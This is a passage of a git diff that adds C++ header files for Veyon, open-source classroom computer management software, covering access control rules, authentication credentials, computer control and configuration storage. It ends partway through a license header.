AccessControlRule::Action processAccessControlRules( const QString& accessingUser, + const QString& accessingComputer, + const QString& localUser, + const QString& localComputer, + const QStringList& connectedUsers ); + + bool isAccessToLocalComputerDenied() const; + +private: + bool isMemberOfUserGroup( const QString& user, const QString& groupName ) const; + bool isLocatedInRoom( const QString& computer, const QString& roomName ) const; + bool hasGroupsInCommon( const QString& userOne, const QString& userTwo ) const; + bool isLocatedInSameRoom( const QString& computerOne, const QString& computerTwo ) const; + bool isLocalHost( const QString& accessingComputer ) const; + bool isLocalUser( const QString& accessingUser, const QString& localUser ) const; + bool isNoUserLoggedOn() const; + + QString lookupSubject( AccessControlRule::Subject subject, + const QString& accessingUser, const QString& accessingComputer, + const QString& localUser, const QString& localComputer ) const; + + bool matchConditions( const AccessControlRule& rule, + const QString& accessingUser, const QString& accessingComputer, + const QString& localUser, const QString& localComputer, + const QStringList& connectedUsers ) const; + + static QStringList objectNames( const QList& objects ); + + QList m_accessControlRules; + UserGroupsBackendInterface* m_userGroupsBackend; + NetworkObjectDirectory* m_networkObjectDirectory; + bool m_queryDomainGroups; + +} ; + +#endif diff --git a/core/include/AccessControlRule.h b/core/include/AccessControlRule.h new file mode 100644 index 0000000..f143c29 --- /dev/null +++ b/core/include/AccessControlRule.h @@ -0,0 +1,200 @@ +/* + * AccessControlRule.h - declaration of class AccessControlRule + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ACCESS_CONTROL_RULE_H +#define ACCESS_CONTROL_RULE_H + +#include +#include +#include + +#include "VeyonCore.h" + +class VEYON_CORE_EXPORT AccessControlRule +{ + Q_GADGET +public: + typedef enum Actions + { + ActionNone, + ActionAllow, + ActionDeny, + ActionAskForPermission, + ActionCount + } Action; + + Q_ENUM(Action) + + enum Condition + { + ConditionNone, + ConditionMemberOfUserGroup, + ConditionGroupsInCommon, + ConditionLocatedInRoom, + ConditionLocatedInSameRoom, + ConditionAccessFromLocalHost, + ConditionAccessFromLocalUser, + ConditionAccessFromAlreadyConnectedUser, + ConditionNoUserLoggedOn, + ConditionCount + } ; + + Q_ENUM(Condition) + + typedef enum Subjects + { + SubjectNone, + SubjectAccessingUser, + SubjectAccessingComputer, + SubjectLocalUser, + SubjectLocalComputer, + SubjectCount + } Subject; + + Q_ENUM(Subject) + + typedef QString ConditionArgument; + + struct ConditionParameters + { + bool enabled; + Subject subject; + ConditionArgument argument; + }; + + typedef QMap ConditionParameterMap; + + + AccessControlRule(); + AccessControlRule( const AccessControlRule& other ); + AccessControlRule( const QJsonValue& jsonValue ); + + ~AccessControlRule() {} + + AccessControlRule& operator=( const AccessControlRule& other ); + + const QString& name() const + { + return m_name; + } + + void setName( const QString& name ) + { + m_name = name; + } + + const QString& description() const + { + return m_description; + } + + void setDescription( const QString& description ) + { + m_description = description; + } + + Action action() const + { + return m_action; + } + + void setAction( Action action ) + { + m_action = action; + } + + const ConditionParameterMap& parameters() const + { + return m_parameters; + } + + Subject subject( Condition condition ) const + { + return m_parameters.value( condition ).subject; + } + + void setSubject( Condition condition, Subject subject ) + { + m_parameters[condition].subject = subject; + } + + bool areConditionsIgnored() const + { + return m_ignoreConditions; + } + + void setConditionsIgnored( bool ignored ) + { + m_ignoreConditions = ignored; + } + + bool areConditionsInverted() const + { + return m_invertConditions; + } + + void setConditionsInverted( bool inverted ) + { + m_invertConditions = inverted; + } + + bool isConditionEnabled( Condition condition ) const + { + return m_parameters.value( condition ).enabled; + } + + void setConditionEnabled( Condition condition, bool enabled ) + { + m_parameters[condition].enabled = enabled; + } + + ConditionArgument argument( Condition condition ) const + { + return m_parameters.value( condition ).argument; + } + + void clearParameters() + { + m_parameters.clear(); + } + + void setArgument( Condition condition, const ConditionArgument& conditionArgument ) + { + m_parameters[condition].argument = conditionArgument; + } + + QJsonObject toJson() const; + + +private: + QString m_name; + QString m_description; + Action m_action; + ConditionParameterMap m_parameters; + bool m_invertConditions; + bool m_ignoreConditions; + +} ; + +#endif diff --git a/core/include/AuthenticationCredentials.h b/core/include/AuthenticationCredentials.h new file mode 100644 index 0000000..5c1e5d7 --- /dev/null +++ b/core/include/AuthenticationCredentials.h @@ -0,0 +1,111 @@ +/* + * AuthenticationCredentials.h - class holding credentials for authentication + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef AUTHENTICATION_CREDENTIALS_H +#define AUTHENTICATION_CREDENTIALS_H + +#include "CryptoCore.h" +#include "VeyonCore.h" + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT AuthenticationCredentials +{ +public: + enum TypeFlags + { + None = 0x00, + PrivateKey = 0x01, + UserLogon = 0x02, + Token = 0x04, + AllTypes = PrivateKey | UserLogon | Token + } ; + typedef int TypeFlag; + + AuthenticationCredentials(); + AuthenticationCredentials( const AuthenticationCredentials &other ); + + bool hasCredentials( TypeFlags credentialType ) const; + + // private key auth + bool loadPrivateKey( const QString& privateKeyFile ); + const CryptoCore::PrivateKey& privateKey() const + { + return m_privateKey; + } + + // user logon auth + void setLogonUsername( const QString &username ) + { + m_logonUsername = username; + } + + void setLogonPassword( const QString &password ) + { + m_logonPassword = password; + } + + const QString &logonUsername() const + { + return m_logonUsername; + } + + const QString &logonPassword() const + { + return m_logonPassword; + } + + void setToken( const QString &token ) + { + m_token = token; + } + + const QString &token() const + { + return m_token; + } + + void setInternalVncServerPassword( const QString& password ) + { + m_internalVncServerPassword = password; + } + + const QString& internalVncServerPassword() const + { + return m_internalVncServerPassword; + } + +private: + CryptoCore::PrivateKey m_privateKey; + + QString m_logonUsername; + QString m_logonPassword; + + QString m_token; + + QString m_internalVncServerPassword; + +} ; + +#endif diff --git a/core/include/BuiltinFeatures.h b/core/include/BuiltinFeatures.h new file mode 100644 index 0000000..4c10c25 --- /dev/null +++ b/core/include/BuiltinFeatures.h @@ -0,0 +1,77 @@ +/* + * BuiltinFeatures.h - declaration of BuiltinFeatures class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_FEATURES_H +#define BUILTIN_FEATURES_H + +#include "VeyonCore.h" + +class DesktopAccessDialog; +class FeatureControl; +class MonitoringMode; +class SystemTrayIcon; +class UserSessionControl; + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT BuiltinFeatures +{ +public: + BuiltinFeatures(); + ~BuiltinFeatures(); + + FeatureControl& featureControl() + { + return *m_featureControl; + } + + SystemTrayIcon& systemTrayIcon() + { + return *m_systemTrayIcon; + } + + MonitoringMode& monitoringMode() + { + return *m_monitoringMode; + } + + DesktopAccessDialog& desktopAccessDialog() + { + return *m_desktopAccessDialog; + } + + UserSessionControl& userSessionControl() + { + return *m_userSessionControl; + } + +private: + FeatureControl* m_featureControl; + SystemTrayIcon* m_systemTrayIcon; + MonitoringMode* m_monitoringMode; + DesktopAccessDialog* m_desktopAccessDialog; + UserSessionControl* m_userSessionControl; +}; + +#endif // BUILTIN_FEATURES_H diff --git a/core/include/CommandLineIO.h b/core/include/CommandLineIO.h new file mode 100644 index 0000000..906998b --- /dev/null +++ b/core/include/CommandLineIO.h @@ -0,0 +1,53 @@ +/* + * CommandLineIO.h - text input/output for command line plugins + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMMAND_LINE_IO_H +#define COMMAND_LINE_IO_H + +#include "VeyonCore.h" + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT CommandLineIO +{ +public: + typedef QString TableCell; + typedef QList TableHeader; + typedef QList TableRow; + typedef QVector TableRows; + typedef QVector TableColumnWidths; + typedef QPair Table; + + static void print( const QString& message ); + static void info( const QString& message ); + static void error( const QString& message ); + static void printTable( const Table& table, char horizontal = '-', char vertical = '|', char corner = '+' ); + +private: + static void printTableRuler( const TableColumnWidths& columnWidths, char horizontal, char corner ); + static void printTableRow( const TableColumnWidths& columnWidths, char vertical, const TableRow& row ); + +} ; + +#endif diff --git a/core/include/CommandLinePluginInterface.h b/core/include/CommandLinePluginInterface.h new file mode 100644 index 0000000..b012c37 --- /dev/null +++ b/core/include/CommandLinePluginInterface.h @@ -0,0 +1,63 @@ +/* + * CommandLinePluginInterface.h - interface class for command line plugins + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMMAND_LINE_PLUGIN_INTERFACE_H +#define COMMAND_LINE_PLUGIN_INTERFACE_H + +#include "PluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT CommandLinePluginInterface +{ + Q_GADGET +public: + typedef enum RunResults + { + Unknown, + Successful, + Failed, + InvalidArguments, + NotEnoughArguments, + InvalidCommand, + NoResult, + RunResultCount + } RunResult; + + Q_ENUM(RunResult) + + virtual QString commandLineModuleName() const = 0; + virtual QString commandLineModuleHelp() const = 0; + virtual QStringList commands() const = 0; + virtual QString commandHelp( const QString& command ) const = 0; + +}; + +typedef QList CommandLinePluginInterfaceList; + +#define CommandLinePluginInterface_iid "io.veyon.Veyon.Plugins.CommandLinePluginInterface" + +Q_DECLARE_INTERFACE(CommandLinePluginInterface, CommandLinePluginInterface_iid) + +#endif // COMMAND_LINE_PLUGIN_INTERFACE_H diff --git a/core/include/Computer.h b/core/include/Computer.h new file mode 100644 index 0000000..bf883eb --- /dev/null +++ b/core/include/Computer.h @@ -0,0 +1,110 @@ +/* + * Computer.h - represents a computer and provides control methods and data + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_H +#define COMPUTER_H + +#include +#include + +#include "NetworkObject.h" + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT Computer +{ +public: + Computer( NetworkObject::Uid networkObjectUid = NetworkObject::Uid(), + const QString& name = QString(), + const QString& hostAddress = QString(), + const QString& macAddress = QString(), + const QString& room = QString() ); + + bool operator==( const Computer& other ) const + { + return networkObjectUid() == other.networkObjectUid(); + } + + bool operator!=( const Computer& other ) const + { + return !(*this == other); + } + + NetworkObject::Uid networkObjectUid() const + { + return m_networkObjectUid; + } + + void setName( const QString& name ) + { + m_name = name; + } + + QString name() const + { + return m_name; + } + + void setHostAddress( const QString& hostAddress ) + { + m_hostAddress = hostAddress; + } + + QString hostAddress() const + { + return m_hostAddress; + } + + void setMacAddress( const QString& macAddress ) + { + m_macAddress = macAddress; + } + + QString macAddress() const + { + return m_macAddress; + } + + void setRoom( const QString& room ) + { + m_room = room; + } + + const QString& room() const + { + return m_room; + } + +private: + NetworkObject::Uid m_networkObjectUid; + QString m_name; + QString m_hostAddress; + QString m_macAddress; + QString m_room; + +}; + +typedef QVector ComputerList; + +#endif // COMPUTER_H diff --git a/core/include/ComputerControlInterface.h b/core/include/ComputerControlInterface.h new file mode 100644 index 0000000..c46acef --- /dev/null +++ b/core/include/ComputerControlInterface.h @@ -0,0 +1,171 @@ +/* + * ComputerControlInterface.h - interface class for controlling a computer + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_CONTROL_INTERFACE_H +#define COMPUTER_CONTROL_INTERFACE_H + +#include +#include +#include +#include + +#include "Computer.h" +#include "Feature.h" +#include "VeyonCore.h" + +class QImage; + +class BuiltinFeatures; +class FeatureMessage; +class VncConnection; +class VeyonConnection; + +class VEYON_CORE_EXPORT ComputerControlInterface : public QObject +{ + Q_OBJECT +public: + typedef QSharedPointer Pointer; + + typedef enum States + { + None, + Disconnected, + Offline, + ServiceUnreachable, + AuthenticationFailed, + Connecting, + Connected, + Unknown, + StateCount + } State; + + ComputerControlInterface( const Computer& computer, QObject* parent = nullptr ); + ~ComputerControlInterface() override; + + Pointer weakPointer(); + + void start( QSize scaledScreenSize, BuiltinFeatures* builtinFeatures ); + void stop(); + + const Computer& computer() const + { + return m_computer; + } + + State state() const + { + return m_state; + } + + const QSize& scaledScreenSize() const + { + return m_scaledScreenSize; + } + + void setScaledScreenSize( QSize size ); + + QImage scaledScreen() const; + + QImage screen() const; + + bool hasScreenUpdates() const + { + return m_screenUpdated; + } + + void clearScreenUpdateFlag() + { + m_screenUpdated = false; + } + + const QString& user() const + { + return m_user; + } + + void setUser( const QString& user ); + + const FeatureUidList& activeFeatures() const + { + return m_activeFeatures; + } + + void setActiveFeatures( const FeatureUidList& activeFeatures ); + + Feature::Uid designatedModeFeature() const + { + return m_designatedModeFeature; + } + + void setDesignatedModeFeature( Feature::Uid designatedModeFeature ); + + void sendFeatureMessage( const FeatureMessage& featureMessage ); + + +private slots: + void setScreenUpdateFlag() + { + m_screenUpdated = true; + } + + void resetWatchdog(); + void restartConnection(); + + void updateState(); + void updateUser(); + void updateActiveFeatures(); + + void handleFeatureMessage( const FeatureMessage& message ); + +private: + static const int ActiveFeaturesUpdateInterval = 1000; + static const int UserUpdateInterval = 10000; + static const int ConnectionWatchdogTimeout = 10000; + + Computer m_computer; + + State m_state; + QString m_user; + FeatureUidList m_activeFeatures; + Feature::Uid m_designatedModeFeature; + + QSize m_scaledScreenSize; + + VncConnection* m_vncConnection; + VeyonConnection* m_connection; + BuiltinFeatures* m_builtinFeatures; + QTimer m_connectionWatchdogTimer; + + bool m_screenUpdated; + +signals: + void featureMessageReceived( const FeatureMessage&, ComputerControlInterface::Pointer ); + void userChanged(); + void activeFeaturesChanged(); + +}; + +typedef QVector ComputerControlInterfaceList; + +#endif // COMPUTER_CONTROL_INTERFACE_H diff --git a/core/include/Configuration/JsonStore.h b/core/include/Configuration/JsonStore.h new file mode 100644 index 0000000..938f723 --- /dev/null +++ b/core/include/Configuration/JsonStore.h @@ -0,0 +1,54 @@ +/* + * Configuration/JsonStore.h - JsonStore class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_JSON_STORE_H +#define CONFIGURATION_JSON_STORE_H + +#include "Configuration/Store.h" + +namespace Configuration +{ + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT JsonStore : public Store +{ +public: + JsonStore( Scope scope, const QString & file = QString() ); + + void load( Object *obj ) override; + void flush( const Object *obj ) override; + bool isWritable() const override; + void clear() override; + +private: + QString configurationFilePath() const; + + QString m_file; + +} ; + +} + +#endif diff --git a/core/include/Configuration/LocalStore.h b/core/include/Configuration/LocalStore.h new file mode 100644 index 0000000..c5d3872 --- /dev/null +++ b/core/include/Configuration/LocalStore.h @@ -0,0 +1,53 @@ +/* + * Configuration/LocalStore.h - LocalStore class + * + * Copyright (c) 2009-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_LOCAL_STORE_H +#define CONFIGURATION_LOCAL_STORE_H + +#include "Configuration/Store.h" + +class QSettings; + +namespace Configuration +{ + +// clazy:excludeall=copyable-polymorphic + +class VEYON_CORE_EXPORT LocalStore : public Store +{ +public: + LocalStore( Scope scope ); + + void load( Object *obj ) override; + void flush( const Object *obj ) override; + bool isWritable() const override; + void clear() override; + + QSettings *createSettingsObject() const; + +} ; + +} + +#endif diff --git a/core/include/Configuration/Object.h b/core/include/Configuration/Object.h new file mode 100644 index 0000000..9114822 --- /dev/null +++ b/core/include/Configuration/Object.h @@ -0,0 +1,243 @@ +/* + * Configuration/Object.h - ConfigurationObject class + * + * Copyright (c) 2009-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_OBJECT_H +#define CONFIGURATION_OBJECT_H + +#include +#include +#include +#include + +#include "VeyonCore.h" +#include "Configuration/Store.h" + +namespace Configuration +{ + +// clazy:excludeall=ctor-missing-parent-argument,copyable-polymorphic + +class VEYON_CORE_EXPORT Object : public QObject +{ + Q_OBJECT +public: + typedef QMap DataMap; + + Object(); + Object( Store::Backend backend, Store::Scope scope, const Object& defaults, const QString& storeName = QString() ); + Object( Store* store ); + Object( const Object& ); + ~Object() override; + + Object& operator=( const Object& ref ); + Object& operator+=( const Object& ref ); + + bool hasValue( const QString& key, const QString& parentKey = QString() ) const; + + QVariant value( const QString& key, const QString& parentKey = QString() ) const; + + void setValue( const QString& key, const QVariant& value, const QString& parentKey = QString() ); + + void removeValue( const QString& key, const QString& parentKey ); + + void addSubObject( Object* obj, const QString& parentKey ); + + void reloadFromStore() + { + if( m_store ) + { + m_store->load( this ); + } + } + + void flushStore() + { + if( m_store ) + { + m_store->flush( this ); + } + } + + bool isStoreWritable() const + { + return m_store->isWritable(); + } + + void clear() + { + m_data.clear(); + } + + const DataMap & data() const + { + return m_data; + } + + +signals: + void configurationChanged(); + + +private: + static Store* createStore( Store::Backend backend, Store::Scope scope ); + + Configuration::Store *m_store; + bool m_customStore; + DataMap m_data; + +} ; + + +#define DECLARE_CONFIG_STRING_PROPERTY(get,key,parentKey)\ + public: \ + QString get() const \ + { \ + return value( key, parentKey ).toString(); \ + } + +#define DECLARE_CONFIG_STRINGLIST_PROPERTY(get,key,parentKey)\ + public: \ + QStringList get() const \ + { \ + return value( key, parentKey ).toStringList(); \ + } + +#define DECLARE_CONFIG_INT_PROPERTY(get,key,parentKey) \ + public: \ + int get() const \ + { \ + return value( key, parentKey ).toInt(); \ + } + +#define DECLARE_CONFIG_BOOL_PROPERTY(get,key,parentKey) \ + public: \ + bool get() const \ + { \ + return value( key, parentKey ).toBool(); \ + } + +#define DECLARE_CONFIG_JSONOBJECT_PROPERTY(get,key,parentKey)\ + public: \ + QJsonObject get() const \ + { \ + return value( key, parentKey ).toJsonObject(); \ + } + +#define DECLARE_CONFIG_JSONARRAY_PROPERTY(get,key,parentKey)\ + public: \ + QJsonArray get() const \ + { \ + return value( key, parentKey ).toJsonArray(); \ + } + +#define DECLARE_CONFIG_UUID_PROPERTY(get,key,parentKey)\ + public: \ + QUuid get() const \ + { \ + return value( key, parentKey ).toUuid(); \ + } + +#define DECLARE_CONFIG_COLOR_PROPERTY(get,key,parentKey)\ + public: \ + QColor get() const \ + { \ + return value( key, parentKey ).value(); \ + } + +#define DECLARE_CONFIG_PASSWORD_PROPERTY(get,key,parentKey)\ + public: \ + QString get() const \ + { \ + return VeyonCore::cryptoCore().decryptPassword( value( key, parentKey ).toString() ); \ + } \ + QString get##Plain() const \ + { \ + return value( key, parentKey ).toString().toUtf8(); \ + } \ + +#define DECLARE_CONFIG_PROPERTY(className,config,type, get, set, key, parentKey) \ + DECLARE_CONFIG_##type##_PROPERTY(get,QStringLiteral(key),QStringLiteral(parentKey)) + + +#define IMPLEMENT_CONFIG_SET_STRING_PROPERTY(className,set,key,parentKey)\ + void className::set( const QString &val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_STRINGLIST_PROPERTY(className,set,key,parentKey)\ + void className::set( const QStringList &val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_INT_PROPERTY(className,set,key,parentKey) \ + void className::set( int val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_BOOL_PROPERTY(className,set,key,parentKey) \ + void className::set( bool val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_JSONOBJECT_PROPERTY(className,set,key,parentKey) \ + void className::set( const QJsonObject& val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_JSONARRAY_PROPERTY(className,set,key,parentKey) \ + void className::set( const QJsonArray& val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_UUID_PROPERTY(className,set,key,parentKey) \ + void className::set( QUuid val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_COLOR_PROPERTY(className,set,key,parentKey) \ + void className::set( const QColor& val ) \ + { \ + setValue( key, val, parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_PASSWORD_PROPERTY(className,set,key,parentKey) \ + void className::set( const QString& val ) \ + { \ + setValue( key, VeyonCore::cryptoCore().encryptPassword( val.toUtf8() ), parentKey ); \ + } + +#define IMPLEMENT_CONFIG_SET_PROPERTY(className, config,type, get, set, key, parentKey) \ + IMPLEMENT_CONFIG_SET_##type##_PROPERTY(className,set,QStringLiteral(key),QStringLiteral(parentKey)) + + +} + +#endif diff --git a/core/include/Configuration/Proxy.h b/core/include/Configuration/Proxy.h new file mode 100644 index 0000000..1e25d56 --- /dev/null +++ b/core/include/Configuration/Proxy.h @@ -0,0 +1,79 @@ +/* + * Configuration/Proxy.h - ConfigurationProxy class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_PROXY_H +#define CONFIGURATION_PROXY_H + +#include "Configuration/Object.h" + +namespace Configuration +{ + +class VEYON_CORE_EXPORT Proxy : public QObject +{ + Q_OBJECT +public: + Proxy( Object* object, QObject* parent = nullptr ) : + QObject( parent ), + m_object( object ) + { + } + + ~Proxy() override + { + } + + bool hasValue( const QString& key, const QString& parentKey = QString() ) const + { + return m_object->hasValue( key, parentKey ); + } + + QVariant value( const QString& key, const QString& parentKey = QString() ) const + { + return m_object->value( key, parentKey ); + } + + void setValue( const QString& key, const QVariant& value, const QString& parentKey = QString() ) + { + m_object->setValue( key, value, parentKey ); + } + + void removeValue( const QString &key, const QString &parentKey ) + { + m_object->removeValue( key, parentKey ); + } + + void reloadFromStore() + { + m_object->reloadFromStore(); + } + +private: + Object* m_object; + +} ; + +} + +#endif diff --git a/core/include/Configuration/Store.h b/core/include/Configuration/Store.h new file mode 100644 index 0000000..592d8f7 --- /dev/null +++ b/core/include/Configuration/Store.h @@ -0,0 +1,116 @@ +/* + * Configuration/Store.h - ConfigurationStore class + * + * Copyright (c) 2009-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_STORE_H +#define CONFIGURATION_STORE_H + +#include +#include +#include + +#include "VeyonCore.h" + +namespace Configuration +{ + +class Object; + +// clazy:excludeall=copyable-polymorphic + +class Store +{ +public: + enum Backends + { + LocalBackend, // registry or similiar + JsonFile, + NoBackend + } ; + typedef Backends Backend; + + enum Scopes + { + User, // for current user + System, // system-wide (service settings etc.) + } ; + typedef Scopes Scope; + + + Store( Backend backend, Scope scope ) : + m_backend( backend ), + m_scope( scope ) + { + } + + virtual ~Store() + { + } + + Backend backend() const + { + return m_backend; + } + + Scope scope() const + { + return m_scope; + } + + QString configurationNameFromScope() const + { + switch( scope() ) + { + case User: return QStringLiteral( "UserConfig" ); + case System: return QStringLiteral( "SystemConfig" ); + } + + return QString(); + } + + void setName( const QString& name ) + { + m_name = name; + } + + const QString& name() const + { + return m_name; + } + + virtual void load( Object *obj ) = 0; + virtual void flush( const Object *obj ) = 0; + virtual bool isWritable() const = 0; + virtual void clear() = 0; + + +private: + const Backend m_backend; + const Scope m_scope; + QString m_name; + +} ; + +} + +#endif diff --git a/core/include/Configuration/UiMapping.h b/core/include/Configuration/UiMapping.h new file mode 100644 index 0000000..5acf180 --- /dev/null +++ b/core/include/Configuration/UiMapping.h @@ -0,0 +1,208 @@ +/* + * Configuration/UiMapping.h - helper macros and functions for connecting config with UI + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * 